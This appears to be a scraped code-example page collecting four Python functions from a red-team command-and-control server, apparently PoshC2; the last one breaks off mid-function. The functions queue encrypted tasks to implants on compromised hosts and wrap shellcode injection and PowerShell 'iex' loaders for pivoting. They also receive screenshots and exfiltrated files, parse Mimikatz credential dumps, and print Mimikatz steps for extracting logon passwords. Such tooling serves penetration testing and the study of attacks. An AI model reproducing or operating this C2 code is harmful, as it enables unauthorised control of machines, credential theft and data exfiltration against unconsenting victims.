예제 #1
0
    def do_POST(self):
        try:
            """Respond to a POST request."""
            response_content_len = None
            response_code = 200
            response_content_type = "text/html"
            response_content = None

            self.server_version = ServerHeader
            self.sys_version = ""
            try:
                content_length = int(self.headers['Content-Length'])
            except ValueError:
                content_length = 0
            self.cookieHeader = self.headers.get('Cookie')
            if self.cookieHeader is not None:
                cookieVal = self.cookieHeader.replace("SessionID=", "")
            else:
                cookieVal = ""

            post_data = self.rfile.read(content_length)
            webserver_log("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n" % (str(self.path), str(self.headers), post_data))
            newTaskOutput(self.path, cookieVal, post_data)

        except Exception as e:
            webserver_log("Error handling POST request: " + str(e))
            webserver_log(traceback.format_exc())

        finally:
            try:
                UriPath = str(self.path)
                sharplist = []
                for implant in sharpurls:
                    implant = implant.replace(" ", "")
                    implant = implant.replace("\"", "")
                    sharplist.append("/" + implant)

                if [ele for ele in sharplist if(ele in UriPath)]:
                    try:
                        webserver_log("[+] Making POST connection to SharpSocks %s%s\r\n" % (SocksHost, UriPath))
                        r = Request("%s%s" % (SocksHost, UriPath), headers={'Cookie': '%s' % self.cookieHeader, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36'})
                        res = urlopen(r, post_data)
                        sharpout = res.read()
                        response_code = res.getcode()
                        response_content_len = len(sharpout)
                        if (len(sharpout) > 0):
                            response_content = sharpout
                    except URLError as e:
                        response_code = 500
                        response_content_len = 0
                        webserver_log("[-] URLError with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                        webserver_log("[-] SharpSocks  %s\r\n" % e)
                    except Exception as e:
                        response_code = 404
                        response_content_len = 0
                        webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                        webserver_log("[-] SharpSocks  %s\r\n" % e)
                        print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END)
                        HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                        if HTTPResponsePage:
                            response_content = bytes(HTTPResponsePage, "utf-8")
                        else:
                            response_content = bytes(GET_404_Response, "utf-8")
                else:
                    response_content = default_response()

                # send response
                self.send_response(response_code)
                self.send_header("Content-type", response_content_type)
                if response_content_len is not None:
                    self.send_header("Connection", "close")
                    self.send_header("Content-Length", response_content_len)
                self.end_headers()
                if response_content is not None:
                    self.wfile.write(response_content)

            except Exception as e:
                webserver_log(f"Generic error in POST request to {UriPath}: \n" + str(e))
                webserver_log(traceback.format_exc)
예제 #2
0
def newTask(path):
    all_implants = DB.get_implants_all()
    commands = ""
    if all_implants:
        for i in all_implants:
            RandomURI = i.RandomURI
            Pivot = i.Pivot
            EncKey = i.Key
            tasks = DB.get_newtasks(RandomURI)
            if RandomURI in path and tasks:
                for task in tasks:
                    command = task[2]
                    user = task[3]
                    user_command = command
                    implant = DB.get_implantbyrandomuri(RandomURI)
                    implant_type = DB.get_implanttype(RandomURI)
                    now = datetime.datetime.now()
                    if (command.lower(
                    ).startswith("$shellcode64")) or (command.lower(
                    ).startswith("$shellcode86") or command.lower().startswith(
                            "run-exe core.program core inject-shellcode"
                    ) or command.lower().startswith(
                            "run-exe pbind pbind run-exe core.program core inject-shellcode"
                    ) or command.lower().startswith(
                            "pbind-command run-exe core.program core inject-shellcode"
                    ) or command.lower().startswith(
                            "pbind-pivot-command run-exe core.program core inject-shellcode"
                    )):
                        user_command = "Inject Shellcode: %s" % command[
                            command.index("#") + 1:]
                        command = command[:command.index("#")]
                    elif " -pycode " in command.lower():
                        split_command = command.strip().split()
                        args = split_command[3:]
                        module = split_command[0]
                        user_command = module + " " + " ".join(args)
                    elif (command.lower().startswith('upload-file')
                          or command.lower().startswith(
                              'pbind-command upload-file')
                          or command.lower().startswith(
                              'fcomm-command upload-file')):
                        PBind = False
                        FComm = False
                        if command.lower().startswith(
                                'pbind-command upload-file'):
                            PBind = True
                        if command.lower().startswith(
                                'fcomm-command upload-file'):
                            FComm = True
                        upload_args = command \
                            .replace('pbind-command upload-file', '') \
                            .replace('fcomm-command upload-file', '') \
                            .replace('upload-file', '')
                        upload_file_args_split = upload_args.split()
                        if len(upload_file_args_split) < 2:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  upload_args)
                            print(Colours.GREEN)
                            continue
                        upload_file = upload_file_args_split[0]
                        upload_file_destination = upload_file_args_split[1]
                        upload_args = upload_args.replace(upload_file, '')
                        upload_args = upload_args.replace(
                            upload_file_destination, '')
                        with open(upload_file, "rb") as f:
                            upload_file_bytes = f.read()
                        if not upload_file_bytes:
                            print(
                                Colours.RED +
                                f"Error, no bytes read from the upload file, removing task: {upload_file}"
                                + Colours.GREEN)
                            DB.del_newtasks(str(task[0]))
                            continue
                        upload_file_bytes_b64 = base64.b64encode(
                            upload_file_bytes).decode("utf-8")
                        if implant_type.lower().startswith('c#'):
                            command = f"upload-file {upload_file_bytes_b64};\"{upload_file_destination}\" {upload_args}"
                        elif implant_type.lower().startswith('ps'):
                            command = f"Upload-File -Destination \"{upload_file_destination}\" -Base64 {upload_file_bytes_b64} {upload_args}"
                        elif implant_type.lower().startswith('py'):
                            command = f"upload-file \"{upload_file_destination}\":{upload_file_bytes_b64} {upload_args}"
                        else:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  upload_args)
                            print(Colours.GREEN)
                        if PBind:
                            command = f"pbind-command {command}"
                        if FComm:
                            command = f"fcomm-command {command}"
                        filehash = hashlib.md5(
                            base64.b64decode(
                                upload_file_bytes_b64)).hexdigest()
                        user_command = f"Uploading file: {upload_file} to {upload_file_destination} with md5sum: {filehash}"
                    taskId = DB.insert_task(RandomURI, user_command, user)
                    taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
                    if len(str(taskId)) > 5:
                        raise ValueError(
                            'Task ID is greater than 5 characters which is not supported.'
                        )
                    print(Colours.YELLOW)
                    if user is not None and user != "":
                        print(
                            "Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, user, implant.ImplantID,
                               implant.Domain, implant.User, implant.Hostname,
                               now.strftime("%Y-%m-%d %H:%M:%S")))
                    else:
                        print(
                            "Task %s issued against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, implant.ImplantID, implant.Domain,
                               implant.User, implant.Hostname,
                               now.strftime("%Y-%m-%d %H:%M:%S")))
                    try:
                        if (user_command.lower().startswith(
                                "run-exe sharpwmi.program sharpwmi action=execute"
                        ) or user_command.lower().startswith(
                                "pbind-command run-exe sharpwmi.program sharpwmi action=execute"
                        ) or user_command.lower().startswith(
                                "fcomm-command run-exe sharpwmi.program sharpwmi action=execute"
                        )):
                            print(user_command[0:200])
                            print("----TRUNCATED----")
                        else:
                            print(user_command)
                        print(Colours.END)
                    except Exception as e:
                        print("Cannot print output: %s" % e)
                    if task[2].startswith("loadmodule "):
                        try:
                            module_name = (task[2]).replace("loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "loadmodule%s" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            command = ""
                    elif task[2].startswith("run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace("run-exe Program PS ", "")
                            modulestr = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe Program PS %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith(
                            "pbind-pivot-command run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace(
                                "pbind-pivot-command run-exe Program PS ", "")
                            base64string = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            modulestr = base64.b64encode(
                                f"run-exe Program PS {base64string}".encode(
                                    "utf-8")).decode("utf-8")
                            doublebase64string = base64.b64encode(
                                f"run-exe PBind PBind {modulestr}".encode(
                                    "utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % doublebase64string
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith(
                            "pbind-command run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace(
                                "pbind-command run-exe Program PS ", "")
                            base64string = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            modulestr = base64.b64encode(
                                f"run-exe Program PS {base64string}".encode(
                                    "utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith(
                            "fcomm-command run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace(
                                "fcomm-command run-exe Program PS ", "")
                            modulestr = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe FComm.FCClass FComm run-exe Program PS %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pslo "):
                        try:
                            module_name = (task[2]).replace("pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe Program PS loadmodule%s" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pslo"):
                        try:
                            module_name = (task[2]).replace("pbind-pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe PBind PBind \"run-exe Program PS loadmodule%s\"" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pivot-loadmodule "):
                        try:
                            module_name = (task[2]).replace(
                                "pbind-pivot-loadmodule ", "")
                            if ".exe" in module_name or ".dll" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                base64string = base64.b64encode(
                                    f"run-exe PBind PBind \"loadmodule{modulestr}\""
                                    .encode("utf-8")).decode("utf-8")
                                command = f"run-exe PBind PBind {base64string}"
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("fcomm-pslo"):
                        try:
                            module_name = (task[2]).replace("fcomm-pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe FComm.FCClass FComm \"run-exe Program PS loadmodule%s\"" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-loadmodule "):
                        try:
                            module_name = (task[2]).replace(
                                "pbind-loadmodule ", "")
                            if ".exe" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe PBind PBind \"loadmodule%s\"" % modulestr
                            elif ".dll" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe PBind PBind \"loadmodule%s\"" % modulestr
                            else:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module(module_name)
                                command = "run-exe PBind PBind \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
                                    bytes(modulestr, "utf-8")).decode('utf-8')
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-command "):
                        try:
                            cmd = command.replace("pbind-command ", "")
                            base64string = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % base64string
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-connect"):
                        command = command.replace(
                            "pbind-connect ", "run-exe PBind PBind start ")
                    elif task[2].startswith("pbind-kill"):
                        command = command.replace(
                            "pbind-kill", "run-exe PBind PBind kill-implant")
                    elif task[2].startswith("fcomm-loadmodule "):
                        try:
                            module_name = (task[2]).replace(
                                "fcomm-loadmodule ", "")
                            if ".exe" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe FComm.FCClass FComm \"loadmodule%s\"" % modulestr
                            elif ".dll" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe FComm.FCClass FComm \"loadmodule%s\"" % modulestr
                            else:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module(module_name)
                                command = "run-exe FComm.FCClass FComm \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
                                    bytes(modulestr, "utf-8")).decode('utf-8')
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("fcomm-command "):
                        command = command.replace(
                            "fcomm-command ", "run-exe FComm.FCClass FComm ")
                    elif task[2].startswith("fcomm-connect"):
                        command = command.replace(
                            "fcomm-connect ",
                            "run-exe FComm.FCClass FComm start ")
                    elif task[2].startswith("fcomm-kill"):
                        command = command.replace(
                            "fcomm-kill",
                            "run-exe FComm.FCClass FComm kill-implant")

                    elif task[2].startswith("pbind-pivot-command "):
                        try:
                            cmd = command.replace("pbind-pivot-command ", "")
                            base64string1 = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            base64string = base64.b64encode(
                                f"run-exe PBind PBind {base64string1}".encode(
                                    "utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % base64string
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pivot-connect"):
                        command = command.replace(
                            "pbind-pivot-connect ",
                            "run-exe PBind PBind run-exe PBind PBind start ")
                    elif task[2].startswith("pbind-pivot-kill"):
                        command = command.replace(
                            "pbind-pivot-kill",
                            "run-exe PBind PBind run-exe PBind PBind kill-implant"
                        )

                    # Uncomment to print actual commands that are being sent
                    # if "AAAAAAAAAAAAAAAAAAAA" not in command:
                    #    print(Colours.BLUE + "Issuing Command: " + command + Colours.GREEN)

                    command = taskIdStr + command
                    if commands:
                        commands += "!d-3dion@LD!-d" + command
                    else:
                        commands += command
                    DB.del_newtasks(str(task[0]))
                if commands is not None:
                    multicmd = "multicmd%s" % commands
                try:
                    responseVal = encrypt(EncKey, multicmd)
                except Exception as e:
                    responseVal = ""
                    print("Error encrypting value: %s" % e)
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"),
                                           RandomURI)
                return responseVal
            elif RandomURI in path and not tasks:
                # if there is no tasks but its a normal beacon send 200
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"),
                                           RandomURI)
                return default_response()
예제 #3
0
    def do_POST(self):
        """Respond to a POST request."""
        try:
            self.server_version = ServerHeader
            self.sys_version = ""
            try:
                content_length = int(self.headers['Content-Length'])
            except:
                content_length = 0
            self.cookieHeader = self.headers.get('Cookie')
            try:
                cookieVal = (self.cookieHeader).replace("SessionID=", "")
            except:
                cookieVal = ""
            post_data = self.rfile.read(content_length)
            logging.info(
                "POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                str(self.path), str(self.headers), post_data)
            now = datetime.datetime.now()
            result = get_implants_all()
            if not result:
                print_bad(
                    "Received post request but no implants in database... has the project been cleaned but you're using the same URLs?"
                )
                return
            for i in result:
                implantID = i[0]
                RandomURI = i[1]
                Hostname = i[3]
                encKey = i[5]
                Domain = i[11]
                User = i[2]
                if RandomURI in self.path and cookieVal:
                    update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
                                            RandomURI)
                    decCookie = decrypt(encKey, cookieVal)
                    rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
                    if decCookie.startswith("Error"):
                        print(Colours.RED)
                        print("The multicmd errored: ")
                        print(rawoutput)
                        print(Colours.GREEN)
                        return
                    taskId = str(int(decCookie.strip('\x00')))
                    taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
                    executedCmd = get_cmd_from_task_id(taskId)
                    task_owner = get_task_owner(taskId)
                    print(Colours.GREEN)
                    if task_owner is not None:
                        print(
                            "Task %s (%s) returned against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, task_owner, implantID, Domain, User,
                               Hostname, now.strftime("%d/%m/%Y %H:%M:%S")))
                    else:
                        print(
                            "Task %s returned against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, implantID, Domain, User, Hostname,
                               now.strftime("%d/%m/%Y %H:%M:%S")))
                    try:
                        outputParsed = re.sub(r'123456(.+?)654321', '',
                                              rawoutput)
                        outputParsed = outputParsed.rstrip()
                    except Exception:
                        pass

                    if "loadmodule" in executedCmd:
                        print("Module loaded successfully")
                        update_task(taskId, "Module loaded successfully")
                    elif executedCmd.lower().startswith("beacon "):
                        new_sleep = executedCmd.replace('beacon ', '').strip()
                        update_sleep(new_sleep, RandomURI)
                    elif "get-screenshot" in executedCmd.lower():
                        try:
                            decoded = base64.b64decode(outputParsed)
                            filename = i[3] + "-" + now.strftime(
                                "%m%d%Y%H%M%S_" + randomuri())
                            output_file = open(
                                '%s%s.png' % (DownloadsDirectory, filename),
                                'wb')
                            print("Screenshot captured: %s%s.png" %
                                  (DownloadsDirectory, filename))
                            update_task(
                                taskId, "Screenshot captured: %s%s.png" %
                                (DownloadsDirectory, filename))
                            output_file.write(decoded)
                            output_file.close()
                        except Exception:
                            update_task(
                                taskId,
                                "Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
                            )
                            print(
                                "Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
                            )
                    elif (executedCmd.lower().startswith("$shellcode64")) or (
                            executedCmd.lower().startswith("$shellcode64")):
                        update_task(taskId, "Upload shellcode complete")
                        print("Upload shellcode complete")
                    elif (executedCmd.lower().startswith(
                            "run-exe core.program core inject-shellcode")):
                        update_task(taskId, "Upload shellcode complete")
                        print(outputParsed)
                    elif "download-file" in executedCmd.lower():
                        try:
                            filename = executedCmd.lower().replace(
                                "download-files ", "")
                            filename = filename.replace("download-file ", "")
                            filename = filename.replace("-source ", "")
                            filename = filename.replace("..", "")
                            filename = filename.replace("'", "")
                            filename = filename.replace('"', "")
                            filename = filename.replace("\\", "/")
                            directory, filename = filename.rsplit('/', 1)
                            filename = filename.rstrip('\x00')
                            original_filename = filename.strip()

                            if not original_filename:
                                directory = directory.rstrip('\x00')
                                directory = directory.replace(
                                    "/", "_").replace("\\", "_").strip()
                                original_filename = directory

                            try:
                                if rawoutput.startswith("Error"):
                                    print("Error downloading file: ")
                                    print(rawoutput)
                                    break
                                chunkNumber = rawoutput[:5]
                                totalChunks = rawoutput[5:10]
                            except Exception:
                                chunkNumber = rawoutput[:5].decode("utf-8")
                                totalChunks = rawoutput[5:10].decode("utf-8")

                            if (chunkNumber == "00001") and os.path.isfile(
                                    '%s%s' % (DownloadsDirectory, filename)):
                                counter = 1
                                while (os.path.isfile(
                                        '%s%s' %
                                    (DownloadsDirectory, filename))):
                                    if '.' in filename:
                                        filename = original_filename[:original_filename.rfind(
                                            '.')] + '-' + str(
                                                counter) + original_filename[
                                                    original_filename.rfind('.'
                                                                            ):]
                                    else:
                                        filename = original_filename + '-' + str(
                                            counter)
                                    counter += 1
                            if (chunkNumber != "00001"):
                                counter = 1
                                if not os.path.isfile(
                                        '%s%s' %
                                    (DownloadsDirectory, filename)):
                                    print(
                                        "Error trying to download part of a file to a file that does not exist: %s"
                                        % filename)
                                while (os.path.isfile(
                                        '%s%s' %
                                    (DownloadsDirectory, filename))):
                                    # First find the 'next' file would be downloaded to
                                    if '.' in filename:
                                        filename = original_filename[:original_filename.rfind(
                                            '.')] + '-' + str(
                                                counter) + original_filename[
                                                    original_filename.rfind('.'
                                                                            ):]
                                    else:
                                        filename = original_filename + '-' + str(
                                            counter)
                                    counter += 1
                                if counter != 2:
                                    # Then actually set the filename to this file - 1 unless it's the first one and exists without a counter
                                    if '.' in filename:
                                        filename = original_filename[:original_filename.rfind(
                                            '.')] + '-' + str(
                                                counter - 2
                                            ) + original_filename[
                                                original_filename.rfind('.'):]
                                    else:
                                        filename = original_filename + '-' + str(
                                            counter - 2)
                                else:
                                    filename = original_filename
                            print("Download file part %s of %s to: %s" %
                                  (chunkNumber, totalChunks, filename))
                            update_task(
                                taskId, "Download file part %s of %s to: %s" %
                                (chunkNumber, totalChunks, filename))
                            output_file = open(
                                '%s%s' % (DownloadsDirectory, filename), 'ab')
                            try:
                                output_file.write(rawoutput[10:])
                            except Exception:
                                output_file.write(
                                    rawoutput[10:].encode("utf-8"))
                            output_file.close()
                        except Exception as e:
                            update_task(taskId,
                                        "Error downloading file %s " % e)
                            print("Error downloading file %s " % e)
                            traceback.print_exc()

                    elif "safetydump" in executedCmd.lower():
                        rawoutput = decrypt_bytes_gzip(encKey,
                                                       post_data[1500:])
                        if rawoutput.startswith("[-]") or rawoutput.startswith(
                                "ErrorCmd"):
                            update_task(taskId, rawoutput)
                            print(rawoutput)
                        else:
                            dumpname = "SafetyDump-Task-%s.b64" % taskIdStr
                            dumppath = "%s%s" % (DownloadsDirectory, dumpname)
                            open(dumppath, 'w').write(rawoutput)
                            message = "Dump written to: %s" % dumppath
                            message = message + "\n The base64 blob needs decoding on Windows and then Mimikatz can be run against it."
                            message = message + "\n E.g:"
                            message = message + "\n     $filename = '.\\%s'" % dumpname
                            message = message + "\n     $b64 = Get-Content $filename"
                            message = message + "\n     $bytes = [System.Convert]::FromBase64String($b64)"
                            message = message + "\n     [io.file]::WriteAllBytes(((Get-Item -Path \".\\\").FullName) + 'safetydump.dmp', $bytes)"
                            message = message + "\n     ./mimikatz.exe"
                            message = message + "\n     sekurlsa::minidump safetydump.dmp"
                            message = message + "\n     sekurlsa::logonpasswords"
                            update_task(taskId, message)
                            print(message)

                    elif (executedCmd.lower().startswith("run-exe safetykatz")
                          or executedCmd.lower().startswith("invoke-mimikatz")
                          or executedCmd.lower().startswith("pbind-command")
                          ) and "logonpasswords" in outputParsed.lower():
                        print("Parsing Mimikatz Output")
                        process_mimikatz(outputParsed)
                        update_task(taskId, outputParsed)
                        print(Colours.GREEN)
                        print(outputParsed + Colours.END)

                    else:
                        update_task(taskId, outputParsed)
                        print(Colours.GREEN)
                        print(outputParsed + Colours.END)

        except Exception as e:
            if 'broken pipe' not in str(e).lower():
                print_bad("Error handling POST request: " + e)
                traceback.print_exc()

        finally:
            try:
                UriPath = str(self.path)
                sharpurls = get_sharpurls().split(",")
                sharplist = []
                for i in sharpurls:
                    i = i.replace(" ", "")
                    i = i.replace("\"", "")
                    sharplist.append("/" + i)

                if [ele for ele in sharplist if (ele in UriPath)]:
                    try:
                        open(
                            "%swebserver.log" % PoshProjectDirectory, "a"
                        ).write(
                            "[+] Making POST connection to SharpSocks %s%s\r\n"
                            % (SocksHost, UriPath))
                        r = Request(
                            "%s%s" % (SocksHost, UriPath),
                            headers={
                                'Cookie':
                                '%s' % self.cookieHeader,
                                'User-Agent':
                                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36'
                            })
                        res = urlopen(r, post_data)
                        sharpout = res.read()
                        self.send_response(res.getcode())
                        self.send_header("Content-type", "text/html")
                        self.send_header("Content-Length", len(sharpout))
                        self.end_headers()
                        if (len(sharpout) > 0):
                            self.wfile.write(sharpout)
                    except URLError as e:
                        try:
                            self.send_response(res.getcode())
                        except:
                            self.send_response(500)
                        self.send_header("Content-type", "text/html")
                        try:
                            self.send_header("Content-Length", len(sharpout))
                        except:
                            self.send_header("Content-Length", 0)
                        self.end_headers()
                        open(
                            "%swebserver.log" % PoshProjectDirectory, "a"
                        ).write(
                            "[-] URLError with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n"
                            % (SocksHost, UriPath, traceback.format_exc()))
                        open("%swebserver.log" % PoshProjectDirectory,
                             "a").write("[-] SharpSocks  %s\r\n" % e)
                    except Exception as e:
                        self.send_response(res.getcode())
                        self.send_header("Content-type", "text/html")
                        self.send_header("Content-Length", len(sharpout))
                        self.end_headers()
                        open(
                            "%swebserver.log" % PoshProjectDirectory, "a"
                        ).write(
                            "[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n"
                            % (SocksHost, UriPath, traceback.format_exc()))
                        open("%swebserver.log" % PoshProjectDirectory,
                             "a").write("[-] SharpSocks  %s\r\n" % e)
                        print(
                            Colours.RED +
                            "Error with SharpSocks or old implant connection - is SharpSocks running"
                            + Colours.END)
                        print(Colours.RED + UriPath + Colours.END)
                        self.send_response(404)
                        self.send_header("Content-type", "text/html")
                        self.end_headers()
                        HTTPResponsePage = select_item("GET_404_Response",
                                                       "C2Server")
                        if HTTPResponsePage:
                            self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
                        else:
                            self.wfile.write(bytes(GET_404_Response, "utf-8"))
                else:
                    self.send_response(200)
                    self.send_header("Content-type", "text/html")
                    self.end_headers()
                    self.wfile.write(default_response())
            except Exception as e:
                print(Colours.RED + "Generic error in POST request!" +
                      Colours.END)
                print(Colours.RED + UriPath + Colours.END)
                print(e)
                traceback.print_exc()
예제 #4
0
def newTask(path):
    result = DB.get_implants_all()
    commands = ""
    if result:
        for i in result:
            RandomURI = i[1]
            EncKey = i[5]
            tasks = DB.get_newtasks(RandomURI)
            if RandomURI in path and tasks:
                for a in tasks:
                    command = a[2]
                    user = a[3]
                    user_command = command
                    hostinfo = DB.get_hostinfo(RandomURI)
                    implant_type = DB.get_implanttype(RandomURI)
                    now = datetime.datetime.now()
                    if (command.lower().startswith("$shellcode64")) or (
                            command.lower().startswith("$shellcode86")
                            or command.lower().startswith(
                                "run-exe core.program core inject-shellcode")):
                        user_command = "Inject Shellcode: %s" % command[
                            command.index("#") + 1:]
                        command = command[:command.index("#")]
                    elif (command.lower().startswith('upload-file')):
                        upload_args = command.replace('upload-file', '')
                        upload_file = upload_args.split()[0]
                        try:
                            upload_file_destination = upload_args.split()[1]
                        except:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  upload_args)
                            print(Colours.GREEN)
                        upload_args = upload_args.replace(upload_file, '')
                        upload_args = upload_args.replace(
                            upload_file_destination, '')
                        with open(upload_file, "rb") as f:
                            upload_file_bytes = f.read()
                        if not upload_file_bytes:
                            print(
                                Colours.RED +
                                f"Error, no bytes read from the upload file, removing task: {upload_file}"
                                + Colours.GREEN)
                            DB.del_newtasks(str(a[0]))
                            continue
                        upload_file_bytes_b64 = base64.b64encode(
                            upload_file_bytes).decode("utf-8")
                        if implant_type.startswith('C#'):
                            command = f"upload-file {upload_file_bytes_b64};\"{upload_file_destination}\" {upload_args}"
                        elif implant_type.startswith('PS'):
                            command = f"Upload-File -Destination \"{upload_file_destination}\" -Base64 {upload_file_bytes_b64} {upload_args}"
                        elif implant_type.startswith('PY'):
                            command = f"upload-file \"{upload_file_destination}\":{upload_file_bytes_b64} {upload_args}"
                        else:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  upload_args)
                            print(Colours.GREEN)
                        filehash = hashlib.md5(
                            base64.b64decode(
                                upload_file_bytes_b64)).hexdigest()
                        user_command = f"Uploading file: {upload_file} to {upload_file_destination} with md5sum: {filehash}"
                    taskId = DB.insert_task(RandomURI, user_command, user)
                    taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
                    if len(str(taskId)) > 5:
                        raise ValueError(
                            'Task ID is greater than 5 characters which is not supported.'
                        )
                    print(Colours.YELLOW)
                    if user is not None and user != "":
                        print(
                            "Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, user, hostinfo[0], hostinfo[11],
                               hostinfo[2], hostinfo[3],
                               now.strftime("%d/%m/%Y %H:%M:%S")))
                    else:
                        print(
                            "Task %s issued against implant %s on host %s\\%s @ %s (%s)"
                            %
                            (taskIdStr, hostinfo[0], hostinfo[11], hostinfo[2],
                             hostinfo[3], now.strftime("%d/%m/%Y %H:%M:%S")))
                    try:
                        print(user_command)
                        print(Colours.END)
                    except Exception as e:
                        print("Cannot print output: %s" % e)
                    if a[2].startswith("loadmodule"):
                        try:
                            module_name = (a[2]).replace("loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "loadmodule%s" % modulestr
                        except Exception as e:
                            print(
